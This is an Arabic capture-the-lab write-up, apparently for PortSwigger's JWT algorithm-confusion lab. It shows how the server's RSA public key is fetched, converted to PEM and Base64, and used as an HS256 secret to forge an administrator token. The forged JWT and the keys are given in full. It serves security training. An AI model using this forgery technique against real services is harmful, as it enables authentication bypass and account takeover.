> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md).

# تجاوز مصادقة JWT عبر التباس الخوارزمية

### تجاوز مصادقة JWT عبر التباس الخوارزمية

**وصف المختبر**

يستخدم هذا المختبر آلية جلسة قائمة على JWT. / يتم عادةً توقيع الرموز والتحقق منها باستخدام **RSA** زوج مفاتيح. / إلا أن التنفيذ السيئ يجعل التطبيق عرضةً لـ **التباس الخوارزمية**.

الهدف:

* استرجع المفتاح العام من الخادم المكشوف عبر نقطة نهاية قياسية.
* استخدم هذا المفتاح لتزوير JWT صالح يتيح الوصول إلى `/admin` لوحة الإدارة.
* حذف المستخدم **carlos**.

المعرّف المزوَّد:

* **wiener : peter**

**JWT الأولي**

تحتوي كوكي الجلسة على JWT التالي:

{% code overflow="wrap" %}

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```

{% endcode %}

**استرجاع المفتاح العام**

يمكن الوصول إلى المفتاح العام للخادم عبر:

* `/.well-known/jwks.json`
* أو `/jwks.json`

المحتوى المُعاد (JWKS):

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
    }
  ]
}
```

{% endcode %}

<figure><img src="/files/04b4bba88c122ee71f9f549d871ef82f4bb2857b" alt=""><figcaption></figcaption></figure>

**تعديل الحمولة**

يتم تعديل حمولة JWT للاستيلاء على حساب المدير:

```json
{
    "iss": "portswigger",
    "exp": 1767551470,
    "sub": "administrator"
}
```

إنشاء مفتاح RSA

<figure><img src="/files/ff32a88764fee9d369d6650075e9880e5c8aff68" alt=""><figcaption></figcaption></figure>

انسخ والصق ملف jwks.json

```json
{
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```

<figure><img src="/files/c3926d4a169d08b403f75f08d3ad92eb38b3200a" alt="" width="526"><figcaption></figcaption></figure>

**تحويل المفتاح العام**

<figure><img src="/files/b26ab1c8ceab04d377e5fa1ebc6d29e25776112c" alt=""><figcaption></figcaption></figure>

يتم تحويل المفتاح العام RSA إلى **PEM** الصيغة:

```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----

```

<figure><img src="/files/139ff675a8f805ba9e791b3df419cffc1111f262" alt=""><figcaption></figcaption></figure>

ثم يتم ترميز هذا المفتاح في **Base64**.

```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```

**أنشئ مفتاحًا متماثلًا (oct)**

يُستخدم المفتاح العام المشفّر بـ Base64 كسرّ HMAC:

```json
{
    "kty": "oct",
    "kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```

<figure><img src="/files/e241ca3fd9c79e01f64be73ffa637d6ff2aa4419" alt=""><figcaption></figcaption></figure>

**التباس الخوارزمية**

يتم تعديل ترويسة JWT لفرض استخدام **HS256**:

```json
{
    "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
    "alg": "HS256"
}
```

ثم يستخدم الخادم المفتاح العام RSA كسرّ HMAC، مما يتيح لك توقيع JWT يُقبَل على أنه صالح.

<figure><img src="/files/1c33f5e33abde834f1f36a243eb0dd86e36386dd" alt=""><figcaption></figcaption></figure>

\*\*JWT المزوّر النهائي\*\*

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```

يمنح هذا الرمز وصولًا إلى لوحة الإدارة، مما يتيح إنهاء المختبر عن طريق إزالة المستخدم **carlos**.

<figure><img src="/files/e753dbfb4739619299a657222f0034918bf1be6b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
